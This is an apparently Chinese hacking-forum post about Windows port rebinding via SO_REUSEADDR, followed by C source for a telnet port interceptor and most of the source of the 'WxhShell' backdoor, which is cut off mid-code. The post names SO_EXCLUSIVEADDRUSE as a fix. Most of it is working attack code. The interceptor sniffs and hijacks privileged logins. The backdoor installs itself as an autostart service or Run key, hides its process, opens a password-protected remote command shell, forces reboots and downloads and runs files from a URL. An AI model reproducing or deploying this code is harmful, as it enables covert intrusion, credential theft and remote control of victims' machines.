社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 16251阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: kR-N9|>i  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); w/d9S(  
e|):%6#  
  saddr.sin_family = AF_INET; 2~2  
@gE +T37x2  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); lh7{2WQ  
T_[W=9  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr));  +;Q &  
+m:U9K(\h  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 !b rN)b)f  
5EFow-AH  
  这意味着什么?意味着可以进行如下的攻击: mmwwz  
V>gEF'g  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 F!|Z_6\tv:  
uEVRk9nb  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) AjAmV hq  
zST# X}  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 &ad9VB7  
me1ac\  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  p % 3B^  
v_{`O'#j^  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 '}P)iS2  
=H>rX 2k  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 #MHn J  
_UjAct]6  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 u 6 la  
-*e$>w[.N  
  #include &^63*x;hE  
  #include V/"0'H\"1  
  #include 6xk"bIp  
  #include    #c+N}eX{  
  DWORD WINAPI ClientThread(LPVOID lpParam);   QMy;?,  
  int main() *ErTDy(   
  { oxPOfI1%]  
  WORD wVersionRequested; U[U$1LSS  
  DWORD ret; .{5)$w>  
  WSADATA wsaData; wCMsaW  
  BOOL val; g}ciG!0  
  SOCKADDR_IN saddr; xfkG&&  
  SOCKADDR_IN scaddr; '[qG ,^f  
  int err; TkWS-=lNH0  
  SOCKET s; K&BlWXT  
  SOCKET sc; }YU#} Ip@  
  int caddsize; X2dTV}~i  
  HANDLE mt; u-OwL1S+  
  DWORD tid;   %+gze|J  
  wVersionRequested = MAKEWORD( 2, 2 ); {'"A hiR/  
  err = WSAStartup( wVersionRequested, &wsaData ); 73Mh65  
  if ( err != 0 ) { r$k *:A$%  
  printf("error!WSAStartup failed!\n"); Ad@))o2  
  return -1; F8_pwJUpf-  
  } ^._)HM  
  saddr.sin_family = AF_INET; ~UK) p;|  
   fR6ot#b  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 HQt=.#GW  
M (b'4  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); BxG0vJN|  
  saddr.sin_port = htons(23); aNn< NW  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) nLto=tNUO  
  { >9+@oGe(E  
  printf("error!socket failed!\n"); 87~. |nu  
  return -1; ]hF[f|V  
  } Bwb3@vNA  
  val = TRUE; %L/Wc,My  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ppb]RN|)  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) kL*Q})  
  { S;+bQ.  
  printf("error!setsockopt failed!\n"); *N\U{)b\  
  return -1; Vfg144FG'  
  }  ;lW0p8  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 0e q>  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 9S=9m[#y'  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 hS*3yCE"8  
K+ufcct  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) zJ|Ek"R.  
  { 1kb?y4xeJ  
  ret=GetLastError(); nHD4J;l  
  printf("error!bind failed!\n"); F3H)B:  
  return -1; pA(@gisg  
  } 6/nhz6=  
  listen(s,2); hP3I_I[qF}  
  while(1) 5{,/m"-  
  { UgSSZ05Lq  
  caddsize = sizeof(scaddr); W qci51y>#  
  //接受连接请求 )P:TVe9`  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Y_Ej-u+>{  
  if(sc!=INVALID_SOCKET) #96E^%:zL  
  { [m3G%PO@Da  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ^:{l~~9iKp  
  if(mt==NULL) 5y}}?6n+  
  { .[= 0(NO  
  printf("Thread Creat Failed!\n"); aODOc J N  
  break; |;OM,U2  
  } ^B?{X|U37  
  } :'1ePq  
  CloseHandle(mt); kSB)}q6a  
  } L)8;96  
  closesocket(s); ?*[t'D9f-  
  WSACleanup(); ofcoNLX5c  
  return 0; #`y7L4V*o  
  }   6dC!&leNi  
  DWORD WINAPI ClientThread(LPVOID lpParam) n U$Lp`  
  { [5a`$yaQ  
  SOCKET ss = (SOCKET)lpParam; &IXr*I  
  SOCKET sc; sKn>K/4JZ  
  unsigned char buf[4096]; :E4i@ O7%  
  SOCKADDR_IN saddr; e#FaK^V  
  long num; sw{EV0&>m  
  DWORD val; -a&wOn-W  
  DWORD ret;  <gf:QX!  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ?v8RY,Q30  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ~}8 3\LI}  
  saddr.sin_family = AF_INET; #^!oP$>1  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); RX?Nv4-  
  saddr.sin_port = htons(23); *|_u~v:)|5  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 9e=F  
  { $qg5m,1?  
  printf("error!socket failed!\n"); d /Zt}{  
  return -1; il5WLi;{  
  } 3_^w/-7`B  
  val = 100; dE/Vl/:  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 5_G7XBvD/w  
  { Qs#v/r  
  ret = GetLastError(); ^a<=@0|  
  return -1; WAqR70{KM  
  } #mx;t3ja7  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) RL.%o?<&?  
  { L G{N  
  ret = GetLastError(); ?P{C=Td2z  
  return -1; N5%~~JRO  
  } EJdq"6S  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) @8n0GCv  
  { Tk.MtIs)V}  
  printf("error!socket connect failed!\n"); cO)GiWE  
  closesocket(sc);  ?o9l{4~g  
  closesocket(ss); G dL\  
  return -1; 6NJ La|&n  
  } cCyg&% zsT  
  while(1) qLA  
  { 6tzZ j:y q  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Ujq)h:`  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 FE/&<g0,:  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ( 5_oH  
  num = recv(ss,buf,4096,0); AWD &K!  
  if(num>0) ={={ W  
  send(sc,buf,num,0); T_v  
  else if(num==0) ou,W|<%  
  break; nHyWb6  
  num = recv(sc,buf,4096,0); wnt^WW=a[  
  if(num>0) :T%,.sH  
  send(ss,buf,num,0); n9cWvy&f  
  else if(num==0) -}4H'%Z(i  
  break; $dorE ~T  
  } +-qD!(&-6  
  closesocket(ss); rAP+nh ans  
  closesocket(sc); N|1J@"H  
  return 0 ;  78qf  
  } 1;.}u= 8  
0IQu6 X  
"/ @ ;6   
========================================================== >tib21*  
!l.Rv_o<O  
下边附上一个代码,,WXhSHELL sE>'~ +1_O  
d@8_?G}  
========================================================== WYEvW<Hv  
3i35F.=X,  
#include "stdafx.h" ^]E| >~\  
cf0em!  
#include <stdio.h> O!Mm~@MoA  
#include <string.h> Oo rH  
#include <windows.h> r8^1JJ~\  
#include <winsock2.h> )TRDM[u  
#include <winsvc.h> E%H,Hk^  
#include <urlmon.h> g6 7*Bs  
q.Z0Q  
#pragma comment (lib, "Ws2_32.lib") Nm OQ7T  
#pragma comment (lib, "urlmon.lib") w$61+KHK  
 b$rBxe\  
#define MAX_USER   100 // 最大客户端连接数 "]zq<LmX  
#define BUF_SOCK   200 // sock buffer @OwU[\6fc}  
#define KEY_BUFF   255 // 输入 buffer >6jy d{  
 2HQHC]  
#define REBOOT     0   // 重启 ,Z MYCl]  
#define SHUTDOWN   1   // 关机 yU .B(|  
~@itZ,d\  
#define DEF_PORT   5000 // 监听端口 nqiy)ZN#R  
Jv7 @[<$  
#define REG_LEN     16   // 注册表键长度 r~t&;yRv  
#define SVC_LEN     80   // NT服务名长度 4XX21<yn  
M7jDV|Go  
// 从dll定义API R8":1 #&  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); c!w4N5aM  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); !ZSC"  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); c{FvMV2em  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); >A2& Mjo  
Ge(r6"%7  
// wxhshell配置信息 hrEKmRmF-  
struct WSCFG { Hb!Q}V+Kb8  
  int ws_port;         // 监听端口 2uiiTg>  
  char ws_passstr[REG_LEN]; // 口令 ;&JMBn]J  
  int ws_autoins;       // 安装标记, 1=yes 0=no J8/>b{Y  
  char ws_regname[REG_LEN]; // 注册表键名 H(?z?2b p  
  char ws_svcname[REG_LEN]; // 服务名 nM R _ ?g  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 !aLByMA  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 '|WMt g  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 $t}L|"=8X  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 8&`s wu&  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" xo^_;(;  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 (Ca\$p7/  
T3M 4r|  
}; K;[V`)d'  
fFSW\4JD=  
// default Wxhshell configuration OP:;?Fs9`  
struct WSCFG wscfg={DEF_PORT, 8)R )h/E>  
    "xuhuanlingzhe", (">!vz  
    1, z%mM#X  
    "Wxhshell", xA&G91|s  
    "Wxhshell", %9Ulgs8=  
            "WxhShell Service", 9J2% 9,^  
    "Wrsky Windows CmdShell Service", C_'Ug  
    "Please Input Your Password: ", 9W'#4  
  1, .lTGFeJqZ4  
  "http://www.wrsky.com/wxhshell.exe", 3z ~zcQ^\  
  "Wxhshell.exe" @X1>Wv|[  
    }; "b -KVZ  
WGp81DNS|  
// 消息定义模块  0m*0I >  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; S1`+r0Fk~n  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 0B3*\ H}5  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; $9Z8P_^.0(  
char *msg_ws_ext="\n\rExit."; eDTEy;^o  
char *msg_ws_end="\n\rQuit."; puMpUY  
char *msg_ws_boot="\n\rReboot..."; ''f  
char *msg_ws_poff="\n\rShutdown..."; ^f3F~XhY3  
char *msg_ws_down="\n\rSave to "; hnE@+(d=qJ  
 $7|0{Dw  
char *msg_ws_err="\n\rErr!"; B;G|2um:$  
char *msg_ws_ok="\n\rOK!"; {#Gr=iv~N  
`[o^w(l:5@  
char ExeFile[MAX_PATH]; tYmWze. j  
int nUser = 0; S~Nx;sB  
HANDLE handles[MAX_USER]; C7qbofoV  
int OsIsNt; '%K,A-7W  
%li'j|  
SERVICE_STATUS       serviceStatus; <([o4%  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; u!{P{C  
q;B-np?U  
// 函数声明 '1.T-.4>&  
int Install(void); TS=p8@w}  
int Uninstall(void); 6Y}#vZ  
int DownloadFile(char *sURL, SOCKET wsh); _Vp9Y:mX2  
int Boot(int flag); LZ\}Kgi(!T  
void HideProc(void); ~>#=$#V   
int GetOsVer(void); :Q&8DC#]  
int Wxhshell(SOCKET wsl); T(3"bS.,  
void TalkWithClient(void *cs); eeB^c/k(P  
int CmdShell(SOCKET sock); OBb  
int StartFromService(void); ,h>0k`J:a  
int StartWxhshell(LPSTR lpCmdLine); 6aMqU?-  
U_M> Q_r(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); o*r\&!NIw  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); v?d~H`L  
chfj|Ce]x  
// 数据结构和表定义 $ n 7dIE  
SERVICE_TABLE_ENTRY DispatchTable[] = i ]F,Y;&|  
{ /=Q7RJ@P  
{wscfg.ws_svcname, NTServiceMain}, D ZLSn Ax  
{NULL, NULL} i~l0XjQbs  
}; $?;aW^E  
{f3T !e{  
// 自我安装 lBPZB%  
int Install(void) jF-z?  
{ 5 QMu=/  
  char svExeFile[MAX_PATH]; VN`2bp>5I  
  HKEY key; jOEb1  
  strcpy(svExeFile,ExeFile); h'kgL~+$  
#^Sd r-   
// 如果是win9x系统,修改注册表设为自启动 H> _%ZXL  
if(!OsIsNt) { YSv\T '3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { B6=8cf"i  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); HjV83S;  
  RegCloseKey(key); :K2N7?shA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Q1s`d?P/`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); UY)YhXW  
  RegCloseKey(key); JH<q7Y6!y  
  return 0; Ybd){Je"z  
    } ZJ+q<n_4}  
  } j.ANBE96>  
} 3haY{CEr  
else { Pi)`[\{  
xN2{Vi{ad  
// 如果是NT以上系统,安装为系统服务 ?c=l"\^x  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); "R):B~8|H{  
if (schSCManager!=0) O!/J2SfuDH  
{ bO^%#<7  
  SC_HANDLE schService = CreateService { -<h5_h@  
  ( <7)Vj*VxC  
  schSCManager, {kW!|h&'  
  wscfg.ws_svcname, rj<%_d'Z`  
  wscfg.ws_svcdisp, 0)9GkHVu(  
  SERVICE_ALL_ACCESS, uX`Jc:1q3  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Cw Z{&  
  SERVICE_AUTO_START, yUEUIPL  
  SERVICE_ERROR_NORMAL, {b]WLBy  
  svExeFile, \]y$[\F>  
  NULL, JLc\KVmF  
  NULL, 9{ciD "!&V  
  NULL, (AR-8  
  NULL, ,'82;oP4  
  NULL Zf(ucAhL  
  ); L>pP3[~DV  
  if (schService!=0) 6>bKlYl&9  
  { o+6Y/6Xp@  
  CloseServiceHandle(schService); 1VJE+3  
  CloseServiceHandle(schSCManager); V-J\!CHX  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); B.{0,b W?  
  strcat(svExeFile,wscfg.ws_svcname); .hT^7|Jz[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { }$g5:k!  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ?^,GaZ^V  
  RegCloseKey(key); Hhfqb"2on  
  return 0; 80:na7$)#  
    } Q"QrbU  
  } 5#WZXhlc}  
  CloseServiceHandle(schSCManager); .}a@OLJd  
} )+\e+Ad}H  
} KX`MX5?x  
5/neV&VcB  
return 1; V3F2Z_VH2  
} #4~Ivj  
bumS>:  
// 自我卸载 ?uh7m 2l0D  
int Uninstall(void) jsk<N  
{ C{e:xGJK  
  HKEY key; Dr`A4LnqY  
&=_YL  
if(!OsIsNt) { kiqq_`66  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .F%RW8=Q  
  RegDeleteValue(key,wscfg.ws_regname); Z>Sv[Ec  
  RegCloseKey(key); 2+y4Gd 7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { RZDZ3W(;h  
  RegDeleteValue(key,wscfg.ws_regname); %T1(3T{Li  
  RegCloseKey(key); > `z^AB   
  return 0; ){8^l0b  
  } ~#) DJ  
} ^H&6'A`  
} ]9b*!n<z  
else { H( cY=d,  
5UjXpS  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); p?6w/n  
if (schSCManager!=0) {?eD7xL:-  
{ `q4\w[0+p  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Lo9+#ITyx  
  if (schService!=0) _(oJ8h(  
  { kdg Q -UN$  
  if(DeleteService(schService)!=0) { 3#5sj >  
  CloseServiceHandle(schService); =Z%&jul  
  CloseServiceHandle(schSCManager); K<\TF+  
  return 0; #!Kg?BR2  
  } b"{7f   
  CloseServiceHandle(schService); Uv5E$Y"e10  
  } !U=;e?o  
  CloseServiceHandle(schSCManager); y{"8VT)  
} L88oh&M  
} lD 9'^J  
)UN@|IX  
return 1; KA%tVBl  
} 5b|_?Em7  
"4Anh1,js  
// 从指定url下载文件 iOzw)<  
int DownloadFile(char *sURL, SOCKET wsh) %Z.>)R4  
{ <R_3; 5J%  
  HRESULT hr; e$Md ?Pq  
char seps[]= "/"; H |75,!<  
char *token; u9k##a4.E  
char *file; 5?6 ATP:[  
char myURL[MAX_PATH]; -u)06C*39  
char myFILE[MAX_PATH]; X~n Kuo  
[ub,&j^  
strcpy(myURL,sURL); YwHnDVV+  
  token=strtok(myURL,seps); .B>|>W O  
  while(token!=NULL) l3(k  
  { /AW6XyMD _  
    file=token; CDR^xo5 dP  
  token=strtok(NULL,seps); #YjV3O5<  
  } JWH}0+1*  
WYI? M  
GetCurrentDirectory(MAX_PATH,myFILE); X @r5^A[9  
strcat(myFILE, "\\"); QWfwoe&;R:  
strcat(myFILE, file); rpy`Wz/[  
  send(wsh,myFILE,strlen(myFILE),0); SE%i@}  
send(wsh,"...",3,0); ,!bOzth2>K  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); iTxn  
  if(hr==S_OK) =:9n+7~$  
return 0; ;jI\MZ~l\  
else G}] ZZ  
return 1; 2t#9ih"9  
kA\;h|Y3  
} P'Rr5Xa  
N tg#-_]  
// 系统电源模块 0^{zq|%Q!  
int Boot(int flag) M!mTNIj8~  
{ wBCnP  
  HANDLE hToken; f)N67z6  
  TOKEN_PRIVILEGES tkp; @CWfhc-Ub  
'pZ~3q  
  if(OsIsNt) { q;Qpd]H  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ]Jv Z:'g}  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); .L6t3/^  
    tkp.PrivilegeCount = 1; 7.akp  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; .r]n<  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); .hZ =8y9  
if(flag==REBOOT) { =a7m^e7  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) aLhTaB-va  
  return 0; zKgW9j<(  
} LF{qI?LG  
else { )pJ}o&J  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) P),%S9jP;  
  return 0; NL2n\%n  
} Zw"6-h4  
  } M,y='*\M  
  else { 213D{#2  
if(flag==REBOOT) { s9O] tk  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9-pd{Z~l  
  return 0; pmHd1 Wub  
} ("mW=Ln  
else { h7(twct  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) t1IC0'o-  
  return 0; HHtp.; L/  
} JEFW}M)UGv  
} 0#<_:E  
EL~s90C  
return 1; ^<sX^V+{  
} 2ZLK`^S  
x7{,4js  
// win9x进程隐藏模块 QR79^A@5  
void HideProc(void) $+*ZsIo   
{ $#"}g#u  
zz02F+H$Y  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); KLA nW#  
  if ( hKernel != NULL ) 8v(Xr}q,r  
  { w&C SE  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); =fG(K!AQ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :UFf6T?  
    FreeLibrary(hKernel); w_A-:S 5C  
  } o)1wF X  
lywcT! <  
return; 1\zI#"b ^  
} Zj`eR\7~  
1mA)=hu  
// 获取操作系统版本 Ig$5Ui  
int GetOsVer(void) n>Zkx+jLj<  
{ =U|J{^ >I  
  OSVERSIONINFO winfo; EKwS~G.b!  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); X(E f=:  
  GetVersionEx(&winfo); )Q7;)iPY#  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Hk3HzN 3  
  return 1; @A$%baH0  
  else ;zz"95X7  
  return 0; y"7TO#  
} G++kU o<  
EEaKT`/d  
// 客户端句柄模块 oJXZ}>>iT  
int Wxhshell(SOCKET wsl) tDIzn`$ z  
{ B-M|}T  
  SOCKET wsh; hhYo9jTHW  
  struct sockaddr_in client; |a^ydwb  
  DWORD myID; 7W}~c/%  
6jF~zI^  
  while(nUser<MAX_USER) kv`x  
{ r!Mr\  
  int nSize=sizeof(client); {n.g7S~  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); HjnHl-  
  if(wsh==INVALID_SOCKET) return 1; -pkeEuwv{  
azOp53zR  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); t(}&<<1Bz  
if(handles[nUser]==0) wiwJD}3h'  
  closesocket(wsh); nC>#@*+jK  
else ;O5NZa!.73  
  nUser++; j7"E0Wc^o_  
  } 9(u2jbA  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 'HOcK8}b  
E*RP8  
  return 0; hkW"D<i i-  
} T 0^U ]C  
q+ )KY  
// 关闭 socket ,QG,tf?  
void CloseIt(SOCKET wsh) Z/Mp=273  
{ Za=<euc7  
closesocket(wsh); y fP&Q<|  
nUser--; QKHmOVh]  
ExitThread(0); rZ0@GA  
} XUMCz7&j  
)%#hpP M^  
// 客户端请求句柄 a#G7pZX/I}  
void TalkWithClient(void *cs) 3OM\R%M  
{ *?\2Ohp  
rV2}> k  
  SOCKET wsh=(SOCKET)cs; n,xK7icYNQ  
  char pwd[SVC_LEN]; 1l1X1  
  char cmd[KEY_BUFF]; vLpE|QZs  
char chr[1]; LU;ma((yy[  
int i,j; D(Xv shQ  
|mci-ZT  
  while (nUser < MAX_USER) { 5|H?L@_9  
vz@QGgQ9~2  
if(wscfg.ws_passstr) { ;5 IS58L  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); X>*zA?:  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); G.<9K9K  
  //ZeroMemory(pwd,KEY_BUFF); C'zMOR6c  
      i=0; tx5@r;  
  while(i<SVC_LEN) { -U; s,>\)  
KZD&Ih(vC  
  // 设置超时 ,[cWG)-  
  fd_set FdRead; E}" &? oY  
  struct timeval TimeOut; %M'"%Yn@(y  
  FD_ZERO(&FdRead); X}p4yR7'  
  FD_SET(wsh,&FdRead); BAzqdG  
  TimeOut.tv_sec=8; ^!kv gm<{$  
  TimeOut.tv_usec=0; Li<c  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); k$I[F<f  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Dw.>4bA.  
B5tJ|3!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); eeL%Yp3+  
  pwd=chr[0]; ~r>WnI:vg  
  if(chr[0]==0xd || chr[0]==0xa) { gb@!Co3  
  pwd=0; IP{Cj=  
  break; Bv9;q3]z-  
  } -B`;Sx  
  i++; &s] s]V)  
    } egP3q5~  
QjZ}*p  
  // 如果是非法用户,关闭 socket NWoZDsu  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); T,H]svN5p  
} XP{ nf9&  
`_<AZ{&&  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); qTffh{q V  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); dB_\,%vAd  
]FFU,me2  
while(1) { /Ee0S8!Z!1  
.h7b 4J  
  ZeroMemory(cmd,KEY_BUFF); sav2.w  
MfYe @ ;m  
      // 自动支持客户端 telnet标准   1noFXzeU3  
  j=0; fcV/co_S6  
  while(j<KEY_BUFF) { [5m;L5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?*4]LuK6  
  cmd[j]=chr[0]; G&3j/5V  
  if(chr[0]==0xa || chr[0]==0xd) { 4["}U1sG  
  cmd[j]=0; -u8@ .  
  break; ?B h}  
  } ~t#'X8.)  
  j++; qqkZbsN  
    } lgnF\)  
;M'R/JlUN  
  // 下载文件 *[vf47)r!  
  if(strstr(cmd,"http://")) { oh:t ex<  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); z<AQ;b  
  if(DownloadFile(cmd,wsh)) QQrvT,]  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); WP}__1!%u  
  else 4Y-9W2s  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {/ty{  
  } 71)HxC[6vA  
  else { 2;kab^iv'  
,,{Uz)>'W6  
    switch(cmd[0]) { A\SbuRty  
  <|m"Q!f  
  // 帮助 KDn`XCnk,  
  case '?': { Sfvi|kZX  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); O#k?c }  
    break; e7hPIG  
  } <BO|.(ys  
  // 安装 ;dB=/U>3U  
  case 'i': { - iJ[9O  
    if(Install()) xQmk2S` y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Kvk;D ]$  
    else if `/LJsa  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (Ojg~P4;&  
    break; }4bwLO  
    } Qs,LK(1  
  // 卸载 s"sX# l[J  
  case 'r': { g@1MIm c'!  
    if(Uninstall()) sAnH\AFm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3mBr nq]j>  
    else *qq%)7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MJ7!f+!5  
    break; J@R+t6$3O  
    } SSH/q/  
  // 显示 wxhshell 所在路径 8:0l5cZE  
  case 'p': { }>h?W1  
    char svExeFile[MAX_PATH]; >i=O =w  
    strcpy(svExeFile,"\n\r"); B!8]\D  
      strcat(svExeFile,ExeFile); [IHT)%>E8&  
        send(wsh,svExeFile,strlen(svExeFile),0); (jQL?  
    break; *Qyw _Q  
    } U+'?#" J8(  
  // 重启 vn kktD'n  
  case 'b': { 7p~@S4  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 2&=;$2?}  
    if(Boot(REBOOT)) ]jy6C'Mp  
